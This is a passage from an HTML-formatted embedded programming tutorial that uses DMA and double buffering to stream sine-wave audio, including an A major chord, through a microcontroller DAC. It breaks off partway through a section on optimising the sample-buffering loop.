&lt;p&gt;With DMA, we’ll first need to &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#buffering&quot;&gt;buffer&lt;/a&gt; an array of samples. Our loop will run like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Buffer samples.&lt;/li&gt;
&lt;li&gt;Wait for DMA to be ready.&lt;/li&gt;
&lt;li&gt;Start the DMA.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do you notice a flaw in this approach? After starting DMA, we start buffering samples on the next iteration. We risk overwriting the buffer while it’s being sent.&lt;/p&gt;
&lt;p&gt;Let’s try to implement it anyway and play a simple 440Hz sine wave.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;math.h&amp;gt;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// M_PI, sin&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;42000&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;FREQUENCY&lt;/span&gt;   &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;440&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Time (in samples).&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Start the timer.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; FREQUENCY &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Scale the value from [-1, 1] to [0, 2^12-1).&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Wait for DAC to be ready, so that the buffer can be modified on the next iteration.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_DAC_GetState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_DAC_STATE_READY&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Start the DMA.&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;HAL_DAC_Start_DMA&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_ALIGN_12B_R&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The results? As expected, pesky little &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;glitches, disruptions&quot;&gt;artefacts&lt;/abbr&gt; invade our signal since our buffer is updated during DMA transfer. This may result in &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#clicks&quot;&gt;unpleasant clicks from our speaker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Artefacts distort the signal, resulting in occasional clips and sound defects.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-768w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-768w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 768 / 576&quot; alt=&quot;Artefacts distort the signal, resulting in occasional clips and sound defects.&quot; title=&quot;Artefacts distort the signal, resulting in occasional clips and sound defects.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-glitch-768w.webp 768w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 768px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Prep, wait, start, repeat. Artefacts distort the signal from time to time.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;But what if we prep, then start, then wait? This way, the buffer won&#39;t be overwritten; but this causes the signal to stall while prepping.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn11&quot; id=&quot;fnref11&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;stall-img&quot;&gt;&lt;/a&gt;
&lt;a class=&quot;lightbox-single&quot; title=&quot;Oscilloscope of sine wave with stalls (horizontal breaks with no change).&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;Oscilloscope of sine wave with stalls (horizontal breaks with no change).&quot; title=&quot;Oscilloscope of sine wave with stalls (horizontal breaks with no change).&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-stall-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Prep, start, wait, repeat. The signal stalls (shown by horizontal lines) because the DAC isn’t updated while buffering.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;To resolve these issues, we&#39;ll unleash the final weapon in our arsenal.&lt;/p&gt;
&lt;h3 id=&quot;example-dma-with-double-buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-dma-with-double-buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: DMA with Double Buffering&lt;/h3&gt;
&lt;p&gt;We saw previously how a single buffer spectacularly fails to deal with &amp;quot;concurrent&amp;quot; buffering.
With double buffering, we introduce an additional buffer. While one buffer is being displayed/streamed, the other buffer is updated. This ensures our audio can be delivered in one continuous stream.&lt;/p&gt;
&lt;p&gt;In code, we’ll add another buffer by declaring &lt;code&gt;uint16_t[2][BUFFER_SIZE]&lt;/code&gt; instead of &lt;code&gt;uint16_t[BUFFER_SIZE]&lt;/code&gt;. We’ll also declare a variable &lt;code&gt;curr&lt;/code&gt; (0 or 1) to index which buffer is currently available.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// New: add a second buffer.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint8_t&lt;/span&gt; curr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                 &lt;span class=&quot;token comment&quot;&gt;// Index of current buffer.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; t   &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Start the timer.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Get the buffer being written.&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Same as before...&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Wait for DAC to be ready.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Start the DMA.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// --snip--&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Point to the other buffer, so that we&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// prepare it while the previous one&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// is being sent.&lt;/span&gt;
    curr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now our 440Hz sine wave is unblemished!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Pure sine goodness. A proper 440Hz sine rendered on our oscilloscope.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;Pure sine goodness. A proper 440Hz sine rendered on our oscilloscope.&quot; title=&quot;Pure sine goodness. A proper 440Hz sine rendered on our oscilloscope.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-sine-440-2-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Waveform of a pure 440Hz sine tone.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Double buffering is also used for video and displays, where each buffer stores a 2D frame instead of a 1D signal.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;example-playing-multiple-notes-with-dma-and-double-buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-playing-multiple-notes-with-dma-and-double-buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Playing Multiple Notes with DMA and Double Buffering 🎶&lt;/h3&gt;
&lt;p&gt;With some minor changes, we can make our device generate audio for multiple notes. Let’s go ahead and play an A major chord!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Compute value for each note.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;440&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; cs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;554.37&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; e &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;659.25&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; cs &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// Sum and normalise to [-1, 1].&lt;/span&gt;
    buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; val &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Map [-1, 1] to [0, 2^12-1).&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If you flash the above code and feed the output to an oscilloscope, you may find it doesn’t really work. Our signal &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#stall-img&quot;&gt;stalls&lt;/a&gt;, for similar reasons as before.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Even with DMA, stalls may occur. This is usually a sign that buffering (and other processes) consume too much time. In this case, breaks in the data occur—the stream is no longer continuous, because the buffer doesn&#39;t finish prepping on time.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;optimisations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#optimisations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Optimisations 🏎&lt;/h3&gt;
&lt;p&gt;So our code is slow. How do we speed it up?&lt;/p&gt;
&lt;p&gt;Here are a few common tricks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Precompute constants&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Instead of computing &lt;code&gt;2 * M_PI * FREQUENCY / SAMPLE_RATE&lt;/code&gt; every iteration, we can precompute it before the loop, saving many arithmetic instructions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Precompute a factor of the 440Hz signal.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; two_pi_f_over_sr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; M_PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; FREQUENCY &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Prep the buffer.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; buffers&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;curr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
